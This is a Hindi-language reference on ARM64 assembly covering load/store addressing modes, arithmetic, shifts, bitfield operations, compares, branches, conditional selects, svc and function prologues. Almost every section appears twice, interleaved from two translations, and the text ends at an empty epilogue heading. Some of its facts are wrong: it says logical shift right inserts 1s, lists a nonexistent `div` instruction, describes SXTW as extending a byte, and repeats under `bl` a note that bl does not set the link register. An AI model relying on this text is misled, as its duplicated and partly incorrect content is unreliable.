ARM64 instructions सामान्यतः **`opcode dst, src1, src2`** प्रारूप में होते हैं, जहाँ **`opcode`** वह ऑपरेशन होता है जिसे निष्पादित किया जाना है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह destination register है जहाँ परिणाम संग्रहित होगा, और **`src1`** तथा **`src2`** source registers होते हैं। Immediate मान भी source registers की जगह उपयोग किए जा सकते हैं।
- **`mov`**: एक **रजिस्टर** से दूसरे में एक मान **स्थानांतरित** करें।
- उदाहरण: `mov x0, x1` — यह `x1` से `x0` में मान स्थानांतरित करता है।
- **`ldr`**: **मेमोरी** से एक मान को **रजिस्टर** में **लोड** करें।
- उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक मान को `x0` में लोड करता है।
- **ऑफसेट मोड**: एक ऑफसेट जो ओरिजिन पॉइंटर को प्रभावित करता है, उदाहरण के लिए:
- `ldr x2, [x1, #8]`, यह x2 में x1 + 8 से मान लोड करेगा।
- `ldr x2, [x0, x1, lsl #2]`, यह x2 में x0 के एरे से एक वस्तु लोड करेगा, स्थिति x1 (सूचकांक) \* 4 से।
- **पूर्व-निर्देशित मोड**: यह मूल पर गणनाएँ लागू करेगा, परिणाम प्राप्त करेगा और नए मूल को भी मूल में संग्रहीत करेगा।
- `ldr x2, [x1, #8]!`, यह `x1 + 8` को `x2` में लोड करेगा और `x1` में `x1 + 8` का परिणाम संग्रहीत करेगा।
- `str lr, [sp, #-4]!`, लिंक रजिस्टर को sp में संग्रहीत करें और रजिस्टर sp को अपडेट करें।
- **पोस्ट-निर्देशित मोड**: यह पिछले वाले के समान है लेकिन मेमोरी पता पहले एक्सेस किया जाता है और फिर ऑफसेट की गणना की जाती है और संग्रहीत की जाती है।
- `ldr x0, [x1], #8`, `x1` को `x0` में लोड करें और `x1` को `x1 + 8` के साथ अपडेट करें।
- **PC-सापेक्ष पता लगाना**: इस मामले में लोड करने के लिए पता PC रजिस्टर के सापेक्ष गणना की जाती है।
- `ldr x1, =_start`, यह `_start` प्रतीक के प्रारंभ होने का पता x1 में लोड करेगा जो वर्तमान PC से संबंधित है।
- **`str`**: एक **रजिस्टर** से **मेमोरी** में एक मान **संग्रहीत** करें।
- उदाहरण: `str x0, [x1]` — यह `x0` में मान को `x1` द्वारा इंगित मेमोरी स्थान में संग्रहीत करता है।
- **`ldp`**: **रजिस्टर के जोड़े को लोड करें**। यह निर्देश **दो रजिस्टरों** को **लगातार मेमोरी** स्थानों से लोड करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है।
- उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को `x2` और `x2 + 8` पर मेमोरी स्थानों से लोड करता है।
- **`stp`**: **रजिस्टर के जोड़े को संग्रहीत करें**। यह निर्देश **दो रजिस्टरों** को **लगातार मेमोरी** स्थानों में संग्रहीत करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है।
- उदाहरण: `stp x0, x1, [sp]` — यह `x0` और `x1` को `sp` और `sp + 8` पर मेमोरी स्थानों में संग्रहीत करता है।
- `stp x0, x1, [sp, #16]!` — यह `x0` और `x1` को `sp+16` और `sp + 24` पर मेमोरी स्थानों में संग्रहीत करता है, और `sp` को `sp+16` के साथ अपडेट करता है।
- **`add`**: दो रजिस्टरों के मानों को **जोड़ें** और परिणाम को एक रजिस्टर में संग्रहीत करें।
- सिंटैक्स: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> गंतव्य
- Xn2 -> ऑपरेन्ड 1
- Xn3 | #imm -> ऑपरेन्ड 2 (रजिस्टर या तत्काल)
- \[shift #N | RRX] -> एक शिफ्ट करें या RRX को कॉल करें
- उदाहरण: `add x0, x1, x2` — यह `x1` और `x2` में मानों को जोड़ता है और परिणाम को `x0` में संग्रहीत करता है।
- `add x5, x5, #1, lsl #12` — यह 4096 के बराबर है (1 को 12 बार शिफ्ट करना) -> 1 0000 0000 0000 0000
- **`adds`** यह एक `add` करता है और ध्वज को अपडेट करता है।
- **`sub`**: दो रजिस्टरों के मानों को घटाएं और परिणाम को एक रजिस्टर में संग्रहीत करें।
- **`add`** **सिंटैक्स** की जांच करें।
- उदाहरण: `sub x0, x1, x2` — यह `x2` के मान को `x1` से घटाता है और परिणाम को `x0` में संग्रहीत करता है।
- **`subs`** यह घटाने जैसा है लेकिन ध्वज को अपडेट करता है।
- **`mul`**: **दो रजिस्टरों** के मानों को **गुणा** करें और परिणाम को एक रजिस्टर में संग्रहीत करें।
- उदाहरण: `mul x0, x1, x2` — यह `x1` और `x2` में मानों को गुणा करता है और परिणाम को `x0` में संग्रहीत करता है।
- **`div`**: एक रजिस्टर के मान को दूसरे से विभाजित करें और परिणाम को एक रजिस्टर में संग्रहीत करें।
- उदाहरण: `div x0, x1, x2` — यह `x1` के मान को `x2` से विभाजित करता है और परिणाम को `x0` में संग्रहीत करता है।
- **`mov`**: एक मान को एक **register** से दूसरे में **Move** करना।
- उदाहरण: `mov x0, x1` — यह `x1` से मान को `x0` में ले जाता है।
- **`ldr`**: **Load** करना memory से एक मान को register में।
- उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा संकेतित memory location से मान को `x0` में लोड करता है।
- **Offset mode**: एक offset जो origin pointer को प्रभावित करता है, उदाहरण के लिए:
- `ldr x2, [x1, #8]`, यह x2 में x1 + 8 से मान लोड करेगा
- `ldr x2, [x0, x1, lsl #2]`, यह x2 में array x0 से object लोड करेगा, position x1 (index) * 4 से
- **Pre-indexed mode**: यह origin पर calculation लागू करेगा, परिणाम प्राप्त करेगा और नया origin भी origin में स्टोर करेगा।
- `ldr x2, [x1, #8]!`, यह `x1 + 8` को `x2` में लोड करेगा और x1 में `x1 + 8` का परिणाम स्टोर करेगा
- `str lr, [sp, #-4]!`, link register को sp में स्टोर करें और register sp को update करें
- **Post-index mode**: यह पिछले जैसा है पर memory address पहले एक्सेस किया जाता है और फिर offset की गणना की जाती है और स्टोर किया जाता है।
- `ldr x0, [x1], #8`, `x1` को `x0` में लोड करें और x1 को `x1 + 8` से अपडेट करें
- **PC-relative addressing**: इस मामले में load करने के लिए address PC register के सापेक्ष गणना की जाती है
- `ldr x1, =_start`, यह वर्तमान PC से संबंधित `_start` symbol के स्थान का address `x1` में लोड करेगा।
- **`str`**: एक मान को **register** से **memory** में **Store** करना।
- उदाहरण: `str x0, [x1]` — यह `x0` में मौजूद मान को `x1` द्वारा संकेतित memory location में स्टोर करता है।
- **`ldp`**: **Load Pair of Registers**। यह instruction लगातार memory locations से दो registers लोड करती है। memory address आमतौर पर किसी अन्य register के मान में offset जोड़कर बनाया जाता है।
- उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को memory locations at `x2` और `x2 + 8` से लोड करता है।
- **`stp`**: **Store Pair of Registers**। यह instruction लगातार memory locations में दो registers स्टोर करती है। memory address आमतौर पर किसी अन्य register के मान में offset जोड़कर बनाया जाता है।
- उदाहरण: `stp x0, x1, [sp]` — यह `x0` और `x1` को memory locations at `sp` और `sp + 8` में स्टोर करता है।
- `stp x0, x1, [sp, #16]!` — यह `x0` और `x1` को memory locations at `sp+16` और `sp + 24` में स्टोर करता है, और `sp` को `sp+16` से अपडेट करता है।
- **`add`**: दो registers के मानों को जोड़ना और परिणाम को एक register में स्टोर करना।
- Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> Destination
- Xn2 -> Operand 1
- Xn3 | #imm -> Operand 2 (register या immediate)
- \[shift #N | RRX] -> Shift perform करें या RRX कॉल करें
- उदाहरण: `add x0, x1, x2` — यह `x1` और `x2` के मानों को जोड़कर परिणाम `x0` में स्टोर करेगा।
- `add x5, x5, #1, lsl #12` — यह 4096 के बराबर है (1 को 12 बार shift करना) -> 1 0000 0000 0000 0000
- **`adds`** यह `add` करता है और flags को अपडेट करता है
- **`sub`**: दो registers के मानों को घटाना और परिणाम को एक register में स्टोर करना।
- Syntax के लिए **`add`** देखें।
- उदाहरण: `sub x0, x1, x2` — यह `x2` के मान को `x1` से घटाकर परिणाम `x0` में स्टोर करता है।
- **`subs`** यह sub जैसा है पर flags को अपडेट करता है
- **`mul`**: दो registers के मानों का गुणा करना और परिणाम को एक register में स्टोर करना।
- उदाहरण: `mul x0, x1, x2` — यह `x1` और `x2` के मानों को गुणा करके परिणाम `x0` में स्टोर करेगा।
- **`div`**: एक register के मान को दूसरे से विभाजित करना और परिणाम को एक register में स्टोर करना।
- उदाहरण: `div x0, x1, x2` — यह `x1` को `x2` से विभाजित करके परिणाम `x0` में स्टोर करता है।
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **लॉजिकल शिफ्ट लेफ्ट**: अंत से 0 जोड़ें और अन्य बिट्स को आगे बढ़ाएं (n-बार 2 से गुणा करें)
- **लॉजिकल शिफ्ट राइट**: शुरुआत में 1 जोड़ें और अन्य बिट्स को पीछे की ओर बढ़ाएं (unsigned में n-बार 2 से विभाजित करें)
- **अर्थमैटिक शिफ्ट राइट**: **`lsr`** की तरह, लेकिन यदि सबसे महत्वपूर्ण बिट 1 है, तो 0 जोड़ने के बजाय, **1 जोड़े जाते हैं** (signed में n-बार 2 से विभाजित करें)
- **रोटेट राइट**: **`lsr`** की तरह, लेकिन जो कुछ भी दाईं ओर से हटा दिया गया है, उसे बाईं ओर जोड़ा जाता है।
- **रोटेट राइट विद एक्सटेंड**: **`ror`** की तरह, लेकिन कैरी ध्वज को "सबसे महत्वपूर्ण बिट" के रूप में। इसलिए कैरी ध्वज को बिट 31 में स्थानांतरित किया जाता है और हटा दिया गया बिट कैरी ध्वज में होता है।
- **`bfm`**: **बिट फील्ड मूव**, ये ऑपरेशन **`0...n`** से बिट्स को एक मान से कॉपी करते हैं और उन्हें **`m..m+n`** में स्थानों पर रखते हैं। **`#s`** सबसे बाईं बिट स्थिति को निर्दिष्ट करता है और **`#r`** दाईं ओर घुमाने की मात्रा को।
- बिटफील्ड मूव: `BFM Xd, Xn, #r`
- साइन बिटफील्ड मूव: `SBFM Xd, Xn, #r, #s`
- अनसाइन बिटफील्ड मूव: `UBFM Xd, Xn, #r, #s`
- **बिटफील्ड निकालें और डालें:** एक रजिस्टर से बिटफील्ड को कॉपी करें और इसे दूसरे रजिस्टर में कॉपी करें।
- **`BFI X1, X2, #3, #4`** X1 के 3वें बिट से X2 के 4 बिट्स डालें।
- **`BFXIL X1, X2, #3, #4`** X2 के 3वें बिट से चार बिट्स निकालें और उन्हें X1 में कॉपी करें।
- **`SBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को साइन-एक्सटेंड करें और उन्हें X1 में डालें, बिट स्थिति 3 से दाईं बिट्स को शून्य करते हुए।
- **`SBFX X1, X2, #3, #4`** X2 से 4 बिट्स को निकालता है, साइन-एक्सटेंड करता है, और परिणाम को X1 में रखता है।
- **`UBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को शून्य-एक्सटेंड करता है और उन्हें X1 में डालता है, बिट स्थिति 3 से दाईं बिट्स को शून्य करते हुए।
- **`UBFX X1, X2, #3, #4`** X2 से 4 बिट्स को निकालता है और शून्य-एक्सटेंडेड परिणाम को X1 में रखता है।
- **साइन एक्सटेंड टू X:** एक मान के साइन को बढ़ाता है (या अनसाइन संस्करण में केवल 0 जोड़ता है) ताकि इसके साथ ऑपरेशन किया जा सके:
- **`SXTB X1, W2`** W2 से X1 तक एक बाइट के साइन को बढ़ाता है (`W2` `X2` का आधा है) ताकि 64 बिट्स को भर सके।
- **`SXTH X1, W2`** W2 से X1 तक एक 16-बिट संख्या के साइन को बढ़ाता है ताकि 64 बिट्स को भर सके।
- **`SXTW X1, W2`** W2 से X1 तक एक बाइट के साइन को बढ़ाता है ताकि 64 बिट्स को भर सके।
- **`UXTB X1, W2`** W2 से X1 तक एक बाइट में 0 जोड़ता है (अनसाइन) ताकि 64 बिट्स को भर सके।
- **`extr`:** निर्दिष्ट **रजिस्टरों के जोड़े से बिट्स निकालता है**।
- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2 को जोड़ता है** और **W2 के बिट 3 से W1 के बिट 3 तक** प्राप्त करता है और इसे W3 में संग्रहीत करता है।
- **`cmp`**: **दो रजिस्टरों की तुलना करें** और स्थिति ध्वज सेट करें। यह **`subs`** का एक **उपनाम** है जो गंतव्य रजिस्टर को शून्य रजिस्टर पर सेट करता है। यह जानने के लिए उपयोगी है कि `m == n`।
- यह **`subs`** के समान सिंटैक्स का समर्थन करता है।
- उदाहरण: `cmp x0, x1` — यह `x0` और `x1` में मानों की तुलना करता है और स्थिति ध्वज को तदनुसार सेट करता है।
- **`cmn`**: **नकारात्मक** ऑपरेन्ड की तुलना करें। इस मामले में यह **`adds`** का एक **उपनाम** है और समान सिंटैक्स का समर्थन करता है। यह जानने के लिए उपयोगी है कि `m == -n`।
- **`ccmp`**: शर्तीय तुलना, यह एक तुलना है जो केवल तभी की जाएगी जब एक पूर्ववर्ती तुलना सत्य हो और विशेष रूप से nzcv बिट्स को सेट करेगी।
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> यदि x1 != x2 और x3 < x4, तो func पर कूदें।
- यह इसलिए है क्योंकि **`ccmp`** केवल तब निष्पादित होगा जब **पिछली `cmp` एक `NE`** थी, यदि यह नहीं थी तो बिट्स `nzcv` को 0 पर सेट कर दिया जाएगा (जो `blt` तुलना को संतुष्ट नहीं करेगा)।
- इसे `ccmn` के रूप में भी उपयोग किया जा सकता है (समान लेकिन नकारात्मक, जैसे `cmp` बनाम `cmn`)।
- **`tst`**: यह जांचता है कि क्या तुलना के मान दोनों 1 हैं (यह किसी भी परिणाम को कहीं भी संग्रहीत किए बिना ANDS की तरह काम करता है)। यह एक रजिस्टर के मान के साथ जांचने और यह देखने के लिए उपयोगी है कि क्या रजिस्टर में निर्दिष्ट मान के बिट्स में से कोई 1 है।
- उदाहरण: `tst X1, #7` जांचें कि क्या X1 के अंतिम 3 बिट्स में से कोई 1 है।
- **`teq`**: XOR ऑपरेशन परिणाम को छोड़कर।
- **`b`**: बिना शर्त शाखा।
- **Logical shift left**: अंत से 0 जोड़ना और बाकी bits को आगे ले जाना (n-गुना 2 से गुणा)
- **Logical shift right**: शुरुआत में 1s जोड़ना नहीं बल्कि 0s जोड़ना जो bits को पीछे ले जाता है (unsigned में n-गुना 2 से विभाजन)
- **Arithmetic shift right**: **`lsr`** जैसा, पर यदि most significant bit 1 हो तो 1s जोड़े जाते हैं (signed में n-गुना 2 से विभाजन)
- **Rotate right**: **`lsr`** जैसा, पर जो हटता है उसे बाईं ओर जोड़ दिया जाता है
- **Rotate Right with Extend**: **`ror`** जैसा, पर carry flag को "most significant bit" के रूप में उपयोग करता है। तो carry flag bit 31 में चला जाता है और हटाया गया bit carry flag में चला जाता है।
- **`bfm`**: **Bit Filed Move**, ये ऑपरेशन किसी मान से bits `0...n` को copy करते हैं और उन्हें positions **`m..m+n`** में रखते हैं। **`#s`** leftmost bit position दर्शाता है और **`#r`** rotate right मात्रा दर्शाता है।
- Bitfield move: `BFM Xd, Xn, #r`
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
- **Bitfield Extract and Insert:** एक register से bitfield copy करके दूसरे register में copy करना।
- **`BFI X1, X2, #3, #4`** X2 के 3rd bit से 4 bits X1 में insert करें
- **`BFXIL X1, X2, #3, #4`** X2 के 3rd bit से चार bits निकालें और उन्हें X1 में कॉपी करें
- **`SBFIZ X1, X2, #3, #4`** X2 के 4 bits sign-extend करके X1 में bit position 3 से insert करें और दाईं ओर की बिट्स को zero करें
- **`SBFX X1, X2, #3, #4`** X2 के bit 3 से शुरू होने वाले 4 bits को निकालता है, sign extend करता है, और परिणाम X1 में रखता है
- **`UBFIZ X1, X2, #3, #4`** X2 के 4 bits को zero-extend करके X1 में bit position 3 से insert करता है और दाईं ओर की बिट्स को zero करता है
- **`UBFX X1, X2, #3, #4`** X2 के bit 3 से शुरू होने वाले 4 bits को निकालता है और zero-extended परिणाम X1 में रखता है।
- **Sign Extend To X:** किसी मान के sign को बढ़ाना (या unsigned में 0s जोड़ना) ताकि उस पर operations किए जा सकें:
- **`SXTB X1, W2`** W2 से एक byte का sign extend करके **W2 से X1** (यह `W2` `X2` का आधा है) 64bits भरता है
- **`SXTH X1, W2`** 16bit संख्या का sign extend करके **W2 से X1** 64bits भरता है
- **`SXTW X1, W2`** एक byte का sign extend करके **W2 से X1** 64bits भरता है
- **`UXTB X1, W2`** unsigned में 0s जोड़कर एक byte **W2 से X1** में 64bits भरता है
- **`extr`:** किसी निर्दिष्ट जोड़ी के registers को concatenated मानकर bits निकालता है।
- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2** को concat करेगा और **W2 के bit 3 से लेकर W1 के bit 3 तक** ले कर उसे W3 में स्टोर करेगा।
- **`cmp`**: दो registers की तुलना करता है और condition flags सेट करता है। यह `subs` का एक alias है जो destination register को zero register सेट करता है। यह उपयोगी है यह जानने के लिए कि `m == n`।
- यह `subs` जैसी ही syntax का समर्थन करता है
- उदाहरण: `cmp x0, x1` — यह `x0` और `x1` के मानों की तुलना करता है और condition flags सेट करता है।
- **`cmn`**: Compare negative operand। यह `adds` का alias है और वही syntax सपोर्ट करता है। यह उपयोगी है यह जानने के लिए कि `m == -n`।
- **`ccmp`**: Conditional comparison, यह तुलना केवल तब की जाएगी जब पिछली तुलना true थी और यह विशेष रूप से nzcv bits सेट करेगा।
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> अगर x1 != x2 और x3 < x4, तो func पर jump करें
- इसका कारण है कि **`ccmp`** केवल तभी निष्पादित होगा जब पिछला `cmp` एक `NE` था, यदि ऐसा नहीं था तो bits `nzcv` को 0 पर सेट कर दिया जाएगा (जो `blt` तुलना को संतुष्ट नहीं करेगा)।
- इसे `ccmn` के रूप में भी इस्तेमाल किया जा सकता है (वही पर negative, जैसे `cmp` बनाम `cmn`)।
- **`tst`**: यह जाँचता है कि तुलना के मानों में से किसी का भी bit 1 है या नहीं (यह ANDS जैसा काम करता है बिना परिणाम को कहीं स्टोर किए)। यह किसी register को किसी मान के साथ जाँचने और यह देखने के लिए उपयोगी है कि register में निर्दिष्ट value के किसी भी bit का मान 1 है या नहीं।
- उदाहरण: `tst X1, #7` जांचें कि X1 के अंतिम 3 bits में से कोई भी 1 है या नहीं
- **`teq`**: XOR ऑपरेशन है जो परिणाम को discard कर देता है
- **`b`**: Unconditional Branch
- उदाहरण: `b myFunction`
- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपसंहार कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)।
- **`bl`**: **लिंक के साथ शाखा**, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है। **रिटर्न पता `x30` में संग्रहीत होता है**।
- उदाहरण: `bl myFunction` — यह फ़ंक्शन `myFunction` को कॉल करता है और रिटर्न पता `x30` में संग्रहीत करता है।
- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपसंहार कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)।
- **`blr`**: **रजिस्टर के लिए लिंक के साथ शाखा**, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है जहाँ लक्ष्य **एक रजिस्टर में निर्दिष्ट** होता है। रिटर्न पता `x30` में संग्रहीत होता है। (यह है
- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका पता `x1` में है और रिटर्न पता `x30` में संग्रहीत होता है।
- **`ret`**: **उपरूटीन** से **लौटें**, आमतौर पर **`x30`** में पते का उपयोग करते हुए।
- उदाहरण: `ret` — यह वर्तमान उपरूटीन से लौटता है जो `x30` में लौटने के पते का उपयोग करता है।
- **`b.<cond>`**: शर्तीय शाखाएँ।
- **`b.eq`**: **बराबर होने पर शाखा**, पिछले `cmp` निर्देश के आधार पर।
- उदाहरण: `b.eq label` — यदि पिछले `cmp` निर्देश ने दो समान मान पाए, तो यह `label` पर कूदता है।
- **`b.ne`**: **बराबर नहीं होने पर शाखा**। यह निर्देश स्थिति ध्वजों की जांच करता है (जो पिछले तुलना निर्देश द्वारा सेट किए गए थे), और यदि तुलना किए गए मान समान नहीं थे, तो यह एक लेबल या पते पर शाखा करता है।
- उदाहरण: `cmp x0, x1` निर्देश के बाद, `b.ne label` — यदि `x0` और `x1` में मान समान नहीं थे, तो यह `label` पर कूदता है।
- **`cbz`**: **शून्य पर तुलना करें और शाखा करें**। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान हैं, तो यह एक लेबल या पते पर शाखा करता है।
- उदाहरण: `cbz x0, label` — यदि `x0` में मान शून्य है, तो यह `label` पर कूदता है।
- **`cbnz`**: **गैर-शून्य पर तुलना करें और शाखा करें**। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान नहीं हैं, तो यह एक लेबल या पते पर शाखा करता है।
- उदाहरण: `cbnz x0, label` — यदि `x0` में मान गैर-शून्य है, तो यह `label` पर कूदता है।
- **`tbnz`**: बिट का परीक्षण करें और गैर-शून्य पर शाखा करें।
- ध्यान दें कि यह link register में return address नहीं भरेगा (subroutine calls के लिए जो वापस लौटना आवश्यक है, यह उपयुक्त नहीं है)
- **`bl`**: **Branch** with link, subroutine को कॉल करने के लिए उपयोग किया जाता है। यह **return address** को **`x30`** में स्टोर करता है।
- उदाहरण: `bl myFunction` — यह function `myFunction` को कॉल करता है और return address को `x30` में स्टोर करता है।
- ध्यान दें कि यह link register में return address नहीं भरेगा (subroutine calls के लिए जो वापस लौटना आवश्यक है, यह उपयुक्त नहीं है)
- **`blr`**: **Branch** with Link to Register, subroutine को कॉल करने के लिए उपयोग की जाती है जहाँ लक्ष्य एक register में निर्दिष्ट होता है। यह return address को `x30` में स्टोर करता है। (यह)
- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका address `x1` में है और return address को `x30` में स्टोर करता है।
- **`ret`**: subroutine से **Return**, सामान्यतः **`x30`** में मौजूद address का उपयोग करते हुए।
- उदाहरण: `ret` — यह वर्तमान subroutine से `x30` में मौजूद return address का उपयोग करके लौटता है।
- **`b.<cond>`**: Conditional branches
- **`b.eq`**: **Branch if equal**, पिछली `cmp` instruction पर आधारित।
- उदाहरण: `b.eq label` — यदि पिछली `cmp` instruction ने दो मानों को equal पाया, तो यह `label` पर जंप करेगा।
- **`b.ne`**: **Branch if Not Equal**। यह instruction condition flags की जाँच करती है (जो पिछली comparison instruction द्वारा सेट किए गए थे), और यदि तुलना किए गए मान समान नहीं थे, तो यह label या address पर branch करेगा।
- उदाहरण: `cmp x0, x1` के बाद, `b.ne label` — यदि `x0` और `x1` के मान समान नहीं थे, तो यह `label` पर जंप करेगा।
- **`cbz`**: **Compare and Branch on Zero**। यह instruction किसी register की तुलना शून्य से करती है, और यदि वे समान हैं, तो यह label या address पर branch करती है।
- उदाहरण: `cbz x0, label` — यदि `x0` का मान शून्य है, तो यह `label` पर जंप करेगा।
- **`cbnz`**: **Compare and Branch on Non-Zero**। यह instruction किसी register की तुलना शून्य से करती है, और यदि वे समान नहीं हैं, तो यह label या address पर branch करती है।
- उदाहरण: `cbnz x0, label` — यदि `x0` का मान शून्य नहीं है, तो यह `label` पर जंप करेगा।
- **`tbnz`**: Test bit and branch on nonzero
- उदाहरण: `tbnz x0, #8, label`
- **`tbz`**: बिट का परीक्षण करें और शून्य पर शाखा करें।
- **`tbz`**: Test bit and branch on zero
- उदाहरण: `tbz x0, #8, label`
- **शर्तीय चयन संचालन**: ये संचालन हैं जिनका व्यवहार शर्तीय बिट्स के आधार पर भिन्न होता है।
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> यदि सत्य है, तो X0 = X1, यदि गलत है, तो X0 = X2
- `csinc Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = Xm + 1
- `cinc Xd, Xn, cond` -> यदि सत्य है, तो Xd = Xn + 1, यदि गलत है, तो Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> यदि सत्य है, तो Xd = NOT(Xn), यदि गलत है, तो Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = - Xm
- `cneg Xd, Xn, cond` -> यदि सत्य है, तो Xd = - Xn, यदि गलत है, तो Xd = Xn
- `cset Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = 1, यदि गलत है, तो Xd = 0
- `csetm Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = \<सभी 1>, यदि गलत है, तो Xd = 0
- **`adrp`**: एक प्रतीक का **पृष्ठ पता** गणना करें और इसे एक रजिस्टर में संग्रहीत करें।
- उदाहरण: `adrp x0, symbol` — यह `symbol` का पृष्ठ पता गणना करता है और इसे `x0` में संग्रहीत करता है।
- **`ldrsw`**: **मेमोरी** से एक साइन **32-बिट** मान लोड करें और इसे **64** बिट्स में **साइन-एक्सटेंड** करें।
- उदाहरण: `ldrsw x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक साइन 32-बिट मान लोड करता है, इसे 64 बिट्स में साइन-एक्सटेंड करता है, और इसे `x0` में संग्रहीत करता है।
- **`stur`**: **एक रजिस्टर मान को एक मेमोरी स्थान** में संग्रहीत करें, जो दूसरे रजिस्टर से एक ऑफसेट का उपयोग करता है।
- उदाहरण: `stur x0, [x1, #4]` — यह `x0` में मान को उस मेमोरी पते में संग्रहीत करता है जो `x1` में वर्तमान पते से 4 बाइट अधिक है।
- **`svc`** : एक **सिस्टम कॉल** करें। इसका अर्थ "सुपरवाइज़र कॉल" है। जब प्रोसेसर इस निर्देश को निष्पादित करता है, तो यह **उपयोगकर्ता मोड से कर्नेल मोड में स्विच करता है** और मेमोरी में एक विशिष्ट स्थान पर कूदता है जहाँ **कर्नेल का सिस्टम कॉल हैंडलिंग** कोड स्थित है।
- **Conditional select operations**: ये ऑपरेशंस उनके conditional bits के आधार पर व्यवहार बदलते हैं।
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> अगर true है तो X0 = X1, अगर false है तो X0 = X2
- `csinc Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = Xm + 1
- `cinc Xd, Xn, cond` -> अगर true है तो Xd = Xn + 1, अगर false है तो Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> अगर true है तो Xd = NOT(Xn), अगर false है तो Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = - Xm
- `cneg Xd, Xn, cond` -> अगर true है तो Xd = - Xn, अगर false है तो Xd = Xn
- `cset Xd, Xn, Xm, cond` -> अगर true है तो Xd = 1, अगर false है तो Xd = 0
- `csetm Xd, Xn, Xm, cond` -> अगर true है तो Xd = \<all 1>, अगर false है तो Xd = 0
- **`adrp`**: किसी symbol का **page address** compute करना और उसे एक register में store करना।
- उदाहरण: `adrp x0, symbol` — यह `symbol` का page address compute करता है और उसे `x0` में स्टोर करता है।
- **`ldrsw`**: memory से signed **32-bit** मान load करना और उसे **64** bit में sign-extend करना।
- उदाहरण: `ldrsw x0, [x1]` — यह `x1` द्वारा संकेतित memory location से signed 32-bit मान लोड करता है, उसे 64 बिट में sign-extend कर के `x0` में संग्रहीत कर देता है।
- **`stur`**: offset के साथ किसी अन्य register से एक memory location पर register मान को store करना।
- उदाहरण: `stur x0, [x1, #4]` — यह `x0` का मान उस memory address में स्टोर करता है जो वर्तमान में `x1` के address से 4 bytes बड़ा है।
- **`svc`** : System call बनाना। इसका पूरा नाम "Supervisor Call" है। जब processor इस instruction को निष्पादित करता है, तो यह **user mode से kernel mode** में स्विच करता है और उस memory location पर कूदता है जहाँ kernel का system call handling code स्थित होता है।
- उदाहरण:
```armasm
mov x8, 93 ; रजिस्टर x8 में निकासी के लिए सिस्टम कॉल नंबर (93) लोड करें।
mov x0, 0 ; रजिस्टर x0 में निकासी स्थिति कोड (0) लोड करें।
svc 0 ; सिस्टम कॉल करें।
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
```
### **फंक्शन प्रस्तावना**
### **Function Prologue**
1. **लिंक रजिस्टर और फ्रेम पॉइंटर को स्टैक में सहेजें**:
1. **Save the link register and frame pointer to the stack**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
2. **नया फ्रेम पॉइंटर सेट करें**: `mov x29, sp` (वर्तमान फ़ंक्शन के लिए नया फ्रेम पॉइंटर सेट करता है)
3. **स्थानीय चर के लिए स्टैक पर स्थान आवंटित करें** (यदि आवश्यक हो): `sub sp, sp, <size>` (जहाँ `<size>` आवश्यक बाइट्स की संख्या है)
2. **नए frame pointer को सेट करें**: `mov x29, sp` (वर्तमान फ़ंक्शन के लिए नया frame pointer सेट करता है)
3. **स्टैक पर local variables के लिए जगह आरक्षित करें** (यदि आवश्यक): `sub sp, sp, <size>` (जहाँ `<size>` आवश्यक बाइट्स की संख्या है)
### **फ़ंक्शन एपिलॉग**
### **Function Epilogue**
